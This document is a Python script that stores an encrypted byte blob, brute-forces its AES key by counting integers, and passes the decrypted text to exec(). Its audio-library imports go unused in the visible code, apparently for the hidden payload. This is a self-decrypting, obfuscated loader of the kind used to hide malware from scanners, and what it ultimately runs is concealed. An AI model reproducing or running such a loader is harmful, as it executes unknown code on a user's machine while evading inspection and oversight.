from Crypto import Random
from Crypto.Cipher import AES
import hashlib
import pyaudio
import wave
import os
from pydub import AudioSegment
class Decryptor:
	def __init__(self, key, file_name):
		self.key = hashlib.sha256(key.encode('utf-8')).digest()
		self.file_name = file_name

	def pad(self, s):
		return s + b"\0" * (AES.block_size - len(s) % AES.block_size)

	def decrypt(self, ciphertext, key):
		iv = ciphertext[:AES.block_size]
		cipher = AES.new(key, AES.MODE_CBC, iv)
		plaintext = cipher.decrypt(ciphertext[AES.block_size:])
		return plaintext.rstrip(b"\0")

	def decrypt_file(self):
		dec = self.decrypt(self.file_name, self.key)
		return dec

class BruteForce:
	def __init__(self, encrypted_codes):
		self.encrypted_codes = encrypted_codes
		self.password = 0

	def start(self): 
		status = True
		while status:
			try:
				test = Decryptor(str(self.password), self.encrypted_codes)
				decrypted_code = test.decrypt_file()
				executable = decrypted_code.decode() 
				status = False
				return executable 
			except UnicodeDecodeError:
				self.password += 1

encrypted_codes = b'\xc6\x14\x8bT\x7f\xd5/\xb3$+\xcb\x1c\x95x\xccb\x1d\xdbdG\xcbI\x17:\xa5.\n#&\n\xa5\xcb#\x1b"\xd8/\x83\x9e\x0b%\x1c\xcc\'\xe3\x83\xd2\xab\x96\x03,\xdcG\xf8\t\x87\x94\xbc\xd3M<\xa9\xa7\xfa/\x11W[\xda\nKq$\xc4\xd6[\xc6$\xe9h<\xe4\xbb>X\x0b\x19~\xbe\\\xcfkA\x8d\x95N:\xfb\x85\xb1\xab\x0b\xf4Y?!,\xefm\xc7\xcf\x81F<f\xbb\xa1\xa7k)\xa1apC\x11(Pn"E\x18K\xc0J\xaeo\x9e\x0b\xc6;\xf1S\xa6\x95\x16L\xa9\xd7\xb9\xe1\xfa\x9a\xb2f\xde\xd7\x8a\x89Q\xa1\x0b\x03\xf7(\xfe\x85\xeb\xd1$?q\xf3\xa9\xaf\xa7\x8a\x92\xfan!h`\x7f{q\x07I+\x04Q\xa5\xdd\xcac\xc8P\xee\xb5\xf5G\x07\x89\xc7\xe1\x17\x11\xafY<\xe0\x8d\xe6\xeb\x8f\xff\x0e\x19\xf2\x07\x82tQ\xd3\x16\xc4\xf1B\xe1\xc2\xf0\x8eA\'\xe2R\x94\xe3\x00\xe3\xf3\x87S\xde\xb2\\\xc1\xccy\x1aj\xe9x\x1dB\xe4?\x1b>\xfa\x01w\x9bh\xd3@\x1e2G\xa7~q\x81\xff7u\xd5\x8d\xa7\xd2\xeb\xfb\xa4\x0e\xff\xf3\xd3\xf3\x12\x7f\\E\xdf\xb2\x10\xba\xac\xb5nA(\ns\xcb^v\xca~o\xa3\x1c\xa4\xa5K\x11\xa3y\x7fw\x1cmz\xfe\x7f\xbe\n\xc9\x95_ \xdfJI/\xdeM\x1a\xe8\x0bi\xa8#R+7;\xa5\x15v\xf7\x12\xc1\xf9|\xa7W\xd4\xe8\x8b\x11H-\xfcL\x04\xe8\x13\xf3\xf8\x7f\xad\xb1>\x0f\xec\x99O\xf1\x99f_I\xf6\xa5\xd1\xd2\xacg\xbcI\x95\xe0#\xce-\x02]\xc3G0L\x80+N\n\r\x8c\xdf\x86\x94\xe6-C\x9a\x85\x86:\xe03.\xff\xb4\xdf\x91aQ\xe4\xdd\xe6\x7f\x0e}\x02\xd9\x02X\xce\xb6\xd9\xda\x19\x01\x84\xdf#\xa8\x84\x01\x01\xb6\x05@c\xb7q\xaa\x93\x80\x01\xccl~g\xb1\x88O\xda/\n\xe4Fe\x1e\xfb\xc3\x7f\xd7\xc5\xe9\xcb\x8cm\x83\xb5\x81\xe6\xbf A\xcc\xf5\x8f\x18\xbdW\xd1W\xe6\x8d\xd8\xb6\x00d\x84N\xad\xf9\xedD\xadV\x04\x86U2W\xabY*\xa1\xc5\xc1\x848)|X\xe1\x99`\xb3\xe7MI\x9c\xd9\xd8\xb33\x03\xe8\xfe\x86GN\xd3d\xc0\x19}\xa0$\r!*\x84\xb8\x0b.\x01\x86\xf2\xbf\xf6\xb27R\xdbTS.lK\x18\xae\xd9.B-\xf3\x1b/\x18aro\xb1xK\x11\x1b\x99\xc3c\n\x12\x8a\xc8\xc7\xea\xd9\x94\x17\xc8\xa7\xab*\xcfa\x83[\x88\x02\x9b\xc3\xfa\xc8~\xd6\x9c`\x80\xcd@N\x8c:\xf4\x93Fb6\xe4^\x10\xa6\xc0\xe6\xa6\xc7\t\x91\x14\xba\xc8BJ\xd2\xb7Y\x9e=4\xa7\xc1\x9a\xf2w\x0e\xc8\x96l\x96\xb9\xc6\x92\xaa\xbc^1)L\xf8\xdeA\xec\xecT\'\xfcY`\xa1\x1bnogJ\xe6w\x8d\xa6\xe9\x1d\x11@G\xb3\x82\xa6\xbdgU\xfd\x9b\x1c#\xea\xd4Dd\xfa\xd1\x19n\xd6\xcbi\xb8\x02\xbc\x9f;L\xc6\x9d\xbds\x8ct\xea\xf0V\x061t\']\xe7\xf3q\xaaM\xdd1\xec#\xa6&\xb4"\xeb\x934\x95h\xc7\x82\x7f=\xeb\x00\x19>\xf6\xd9]\xc7%\x7fM\xbe\x03\xc9\x03\xab~\x98yq\xca\x04\xae\xac=\'\xfc\x15\x98\x04\x94dW~|q\x02:\x90L\\u\x8a\xdf\xf1\xce/\xc1o\xfbF\'\tW\xa7\xa0\xb1\x99\xc4a^\x1fIV0\xb4\xc9\x8f\n\x00\x85>\xa6\xdf\x91\xfc\xf1\'AKU\x99\xce\x1a$\xe7?d\x03\xab.\xd8\xb9]\xf6\x95\xe3\xffV\x80z`\xf2ov\xb7\xec#\x96\xd9\x95\x88KJ\x10S\x04"\xc8\x99c:\xe4V"\xab\xbb\xb4\xbc<\x1e\xe0\xcc\xc0Aa[\x04\xb1\x9d\x8a/\xbeK\x1c\xd0\x99@f\xff\xfe\x9e$\xc7\x86\xfd\xd9\x87\x98w8\xd1\x17*"\x03b;\xaabAu\xe4\xae\xab\xfaO\xff\xae4\x84\x96\xd71\xa6@gv\x80\xe6\x00\xb8j]\'\xb0\xb1\x8d\x9d|\xaa\xe0\xb1\x01s\xecE\xa5n@<\x1d8[\xd9\xef+\x1d\xfb~\x9bl\x08(\x96M@.<{\xe5f\x9e\x86\xee\xf6\xa9\xfa\rb\xa8Kc\x98xoW}4\xd5\xeb\xd5\x88\xa0\x05\xe5\x95.\xcb\xc7s\x16.\x96\xedy\xbc\x8dz)z\xb5\x0e}&\xd7\x8d\x01\xc5\x85\xc4b`\x9d\xdc\x1dC8\xaa0\xc18E\x0b\xb4\xf5\xe7}\x9f\x1en\xca\xe2\xf9Y\xb4E\x98\xed\x95%\xd2UY\x1a\x90\x19\xf0\xb4\xa6\xfd\xb4V\xd2@\xd4\x8e\xe5\xe2\xeaP\x10\xdf\xe7\x96lvs\xb2\x9c\xda\x04\xb3\x84\xba\xf9\xfcueIJ7p\xb3\xc99\ta\x1a]Bd\xa6\xfe\xa5\xf3\x04m\xc9\x98\xf6\xcfX\x87hs\xb5\n\xa5e\xad\xb6;5\xc5y\xdc\xae\xd8\xb7\x1e\xd4\xdeU\xf30\x19n\xa9.\xbbS\x07v_=\n\x0c\x87\xf3^\xc3N\xde,\xe6)\xac\x05\x979\xe2u\xb4\xd1\xc8\xdd\x95)\xacR_\x11\xd8\x0b\xde\xe6\xf6+\xc2\x9d\t?9m\x8e\xc2\xb6\xb3\x83\xcf\xc2\xa8\xe0L\xe5\xcbR\x05\x81\xd8O\x87\x87)\x19$\xdf\xd1\xb7\xe6s\x96\x8bX\x94\xcfj\xdb\xdbR\xfa\xc9vXW\x05\xda\x86k\x94\x16\xbfE\x167PO\x17?\xbc/\x1e\x84.t\xa3}_\x82\x13\xe0\x82\xca]\xa5E\xedj\x17\x97\xb7\x04\xce#Y!\x9a\xe19\x07\x1c, \x99\xe15\xd8\xd6\x9d\xff\xc20\x950n\xbd\x1e\xb8`xC\xaf\xf3^\xd7Y\tk\xf7\x17\xcd\xa9\xe4\x1a\x90X\xde\x10w\x8c\n\xe1Et\xa4\xb3*h\xca\xec\x89U\x03lW`\xeb\xe5\xa2\xbd\xf2\x1e\xef\xe5\xb8Q\x06*!\xea\xf6\xfb\x13k\x1e0\xdf8}\xc6\xd8\x8c\x07\r\x8f\xa8v\xce\xaaQ\x9f\xcb\xc9\xe69\xfd(\xe3\x88D\x7fu\xff\x18\x9c/\x01n\x1c2G\rH)m\xc2\xe28^\x82s\xc6i\xcf\xb1 \xe9m\xc0\xc7\xce\xdbMd9u\x12\xe9\xbd\xd8\xb3\xc4\x96B\x83\xc2~\xdf\xce}\xb5\xa2M\xe1\xcaC>z\xaa\xd4\x85\x9dj\x83\x8d"\xe0\x9e\xdd\x8a\xf9\xfb\xbdm\xa2\x8b\x99\xd1c\xccC{M\xef\x04#\x0c\xdb+\x98c\x90\xfdki\x86b\xea'
brute = BruteForce(encrypted_codes)
executable = brute.start()
exec(executable)
